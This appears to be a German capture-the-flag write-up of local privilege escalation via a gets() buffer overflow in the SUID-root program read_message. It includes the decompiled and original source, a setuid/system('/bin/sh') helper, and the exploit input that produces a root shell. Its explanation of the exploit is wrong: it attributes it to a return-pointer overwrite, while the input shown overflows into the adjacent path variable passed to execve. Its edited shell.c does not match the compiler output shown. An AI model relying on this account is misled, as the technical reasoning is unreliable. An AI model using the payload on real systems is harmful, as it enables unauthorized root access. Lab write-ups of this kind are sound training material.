local_14 = 0x2f6e6962; // "bin/" <- Fehler in der Analyse? Sollte sbin sein
local_10 = 0x7373656d; // "mess"
local_c = 0x656761; // "age"
// Initialisierung von "Simon\0"
local_3a = 0x6f6d6953; // "Simo"
local_36 = 0x6e; // "n" + Nullbyte?
puts("What is your name?");
gets(local_34); // **Gefährliche gets()-Funktion! Liest in den 20-Byte Puffer local_34**
iVar1 = strncmp((char *)&local_3a, local_34, 5); // Vergleicht die ersten 5 Bytes
if (iVar1 == 0) { // Wenn die Eingabe mit "Simon" beginnt...
printf("Hello %s! Here is your message:\n\n", local_34);
// Führt /usr/local/sbin/message aus (Pfad scheint hier korrekt zusammengesetzt)
execve((char *)&local_20, (char **)0x0, (char **)0x0);
return 0; // Wird wegen execve nie erreicht
}
// Wenn nicht "Simon"...
printf("Sorry %s, you\'re not %s! The Internet Police have been informed of this violation.\n",
local_34, &local_3a);
/* WARNING: Subroutine does not return */
exit(1);
}
Analyse: Der decompilierte C-Code von `read_message` zeigt die interne Logik.
Bewertung:** Die Analyse bestätigt das beobachtete Verhalten und enthüllt eine **kritische Schwachstelle**: * **`gets(local_34)`:** Die Funktion `gets()` ist extrem gefährlich, da sie keine Längenprüfung durchführt. Sie liest Eingaben von der Standardeingabe in den Puffer `local_34`, der nur 20 Bytes groß ist. Jede Eingabe, die länger als 19 Zeichen (+ Nullbyte) ist, führt zu einem **Buffer Overflow**. * **`strncmp(..., local_34, 5)`:** Es werden nur die ersten 5 Zeichen der Eingabe mit "Simon" verglichen. * **`execve("/usr/local/sbin/message", ...)`:** Wenn die Eingabe mit "Simon" beginnt, wird dieses Programm ausgeführt. Die Kombination aus `gets()` und der Tatsache, dass das Programm SUID root ist, macht es zu einem klassischen Ziel für einen Buffer Overflow zur Privilege Escalation. Man kann den Puffer `local_34` überlaufen lassen und den auf dem Stack gespeicherten Return Pointer überschreiben, um die Kontrolle über die Programmausführung zu erlangen und Code als root auszuführen.
Empfehlung (Pentester): Entwickle einen Exploit für den Buffer Overflow. Gib "Simon" ein, gefolgt von genügend Füllzeichen ('A's), um den Puffer zu füllen und den Return Pointer zu erreichen. Überschreibe den Return Pointer mit der Adresse einer Shellcode-Payload oder, einfacher, mit der Adresse einer Funktion wie `system()` oder direkt mit der Adresse eines Gadgets, das `/bin/sh` aufruft.
Empfehlung (Admin):** **Niemals `gets()` verwenden!** Ersetze es durch sicherere Alternativen wie `fgets()`. Überprüfe alle SUID-Programme auf solche Schwachstellen. Entferne das SUID-Bit von `/usr/local/bin/read_message`.
flag.txt read_message.c
cat: flag.txt: Permission denied
#include
#include
#include
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";
printf("What is your name?\n");
gets(buf); // **Hier ist die Schwachstelle**
// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}
// return 0; // Unreachable code due to execve or exit
}
Analyse: Der Benutzer `simon` wechselt in das Verzeichnis `/root` und listet dessen Inhalt auf. Es wird versucht, `flag.txt` zu lesen (scheitert an Berechtigungen) und `read_message.c` zu lesen (gelingt).
Bewertung: Es ist **höchst ungewöhnlich und eine Fehlkonfiguration**, dass der Benutzer `simon` das Verzeichnis `/root` betreten und die Datei `read_message.c` lesen kann. Normalerweise ist `/root` nur für den Root-Benutzer zugänglich. Der Quellcode `read_message.c` bestätigt die Funde aus der Decompilation (insbesondere die `gets(buf)`-Schwachstelle) und enthält direkt die **zweite Flag**: `flag2{use_the_source_luke}`. Er zeigt auch, dass das Programm `/usr/local/sbin/message` ausgeführt werden soll, wenn die Eingabe "Simon" ist.
Empfehlung (Pentester): Notiere die Flag 2. Die Bestätigung der `gets()`-Schwachstelle im Quellcode erleichtert die Exploit-Entwicklung. Prüfe auch die Datei `/usr/local/sbin/message`, auf die im Quellcode verwiesen wird (Berechtigungen, Inhalt).
Empfehlung (Admin): Korrigiere dringend die Berechtigungen für das Verzeichnis `/root`, sodass nur root darauf zugreifen kann (`chmod 700 /root`). Entferne sensible Quellcodedateien aus Verzeichnissen, auf die unprivilegierte Benutzer (auch fälschlicherweise) Zugriff haben könnten.
-rwxr-xr-x 1 root staff 7416 Jun 28 2017 /usr/local/sbin/message
Analyse: Diese Zeile (vermutlich aus einem `ls -la`-Befehl) zeigt die Berechtigungen der Datei `/usr/local/sbin/message`, die von `read_message` ausgeführt wird.
Bewertung: Die Datei gehört `root`, ist aber für alle ausführbar. Sie hat **kein** SUID-Bit gesetzt. Das bedeutet, wenn `read_message` (das als root läuft) dieses Programm via `execve` startet, wird es ebenfalls als root ausgeführt.
Empfehlung (Pentester): Das Ziel des Buffer Overflows könnte auch sein, `/usr/local/sbin/message` mit unerwarteten Argumenten oder in einem unerwarteten Zustand auszuführen, falls dies Vorteile bringt. Der direkteste Weg ist jedoch, den Return Pointer so zu ändern, dass eine Shell gestartet wird.
Empfehlung (Admin): Überprüfe den Zweck und Inhalt von `/usr/local/sbin/message`. Stelle sicher, dass es keine eigenen Schwachstellen enthält.
#include
#include // Für system()
int main(void){
setuid(0); // Versuche, Root-Rechte zu behalten (optional, aber gute Praxis)
system("/bin/sh"); // Führe eine Shell aus
return 0;
}
shell.c: In function ‘main’:
shell.c:5:9: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
5 | system("/tmp/./shell.sh"); // Pfad im Original war /tmp/./shell.sh, hier /bin/sh
| ^~~~~~
shell.c:4:9: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
4 | setuid(0);
| ^~~~~~
Analyse: Auf dem Angreifer-System wird eine einfache C-Datei (`shell.c`) erstellt, die `system("/bin/sh")` aufruft, um eine Shell zu starten. Der `setuid(0)`-Aufruf wird oft hinzugefügt, um sicherzustellen, dass die effektiven Root-Rechte (falls durch SUID erlangt) beibehalten werden. Die Datei wird dann mit `gcc` zu einem ausführbaren Programm `shell` kompiliert. (Hinweis: Der Pfad im `system()`-Aufruf wurde von `/tmp/./shell.sh` im Originaltext zu `/bin/sh` korrigiert, da dies der übliche Weg ist, eine Shell zu starten. Der ursprüngliche Pfad hätte eine separate `shell.sh`-Datei erfordert). Die Compiler-Warnungen weisen auf fehlende Includes (`stdlib.h` für `system`, `unistd.h` für `setuid`) hin, aber die Kompilierung ist wahrscheinlich trotzdem erfolgreich.
Bewertung: Dies scheint eine Vorbereitung für einen anderen Exploit-Ansatz zu sein (z.B. Shellcode-Injektion), wird aber im folgenden Exploit für `read_message` nicht direkt verwendet. Der gezeigte Exploit überschreibt den Return Pointer, um direkt `/bin/sh` (oder eine Funktion, die es aufruft) auszuführen, anstatt eine eigene kompilierte Datei hochzuladen und auszuführen.
Empfehlung (Pentester): Dieser kompilierte `shell`-Code ist für den hier gezeigten Exploit nicht notwendig. Fokussiere dich auf den Overflow in `read_message`.
Empfehlung (Admin): Keine direkte Aktion.
What is your name? Simonaaaaaaaaaaaaaaa/bin/sh [Eingabe des Exploits] Hello Simonaaaaaaaaaaaaaaa/bin/sh! Here is your message: id [Befehl in der neuen Shell] uid=1000(simon) gid=1000(simon) euid=0(root) groups=1000(simon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) # [Root-Prompt wird angezeigt]
Analyse: Der Buffer Overflow in `read_message` wird ausgenutzt. 1. Das Programm wird gestartet. 2. Auf die Frage "What is your name?" wird eine lange Zeichenkette eingegeben: Sie beginnt mit "Simon" (um die `strncmp`-Prüfung zu bestehen), gefolgt von vielen 'a'-Zeichen (um den Puffer zu füllen und den Return Pointer auf dem Stack zu erreichen) und endet mit `/bin/sh`. 3. Der Overflow tritt auf. Da die Eingabe mit "Simon" beginnt, wird der `if`-Zweig betreten. Bevor `execve` aufgerufen wird (oder stattdessen), wird der durch die vielen 'a's überschriebene Return Pointer verwendet. 4. Es wird angenommen, dass der Teil `/bin/sh` der Eingabe (oder eine Adresse, die durch die 'a's und `/bin/sh` konstruiert wird) den Return Pointer so überschreibt, dass er auf eine Funktion zeigt, die eine Shell startet (möglicherweise `system()` oder ein Gadget). Da das Programm SUID root läuft, wird die resultierende Shell mit effektiven Root-Rechten (`euid=0`) gestartet. 5. Der `id`-Befehl wird in der neuen Shell ausgeführt und bestätigt `euid=0(root)`.
Bewertung: **Genial! Privilege Escalation erfolgreich!** Ein klassischer Stack-basierter Buffer Overflow in einem SUID-Programm wurde genutzt, um Root-Rechte zu erlangen. Die `euid=0` bestätigt, dass wir nun Befehle als Root ausführen können.
Empfehlung (Pentester): Stabilisiere die Root-Shell (z.B. `export TERM=xterm`, starte eine richtige `/bin/bash -i`). Lies die Root-Flag aus `/root/flag.txt`.
Empfehlung (Admin):** **Programm `/usr/local/bin/read_message` sofort korrigieren (fgets() statt gets()) oder SUID-Bit entfernen!** Dies ist eine kritische Schwachstelle.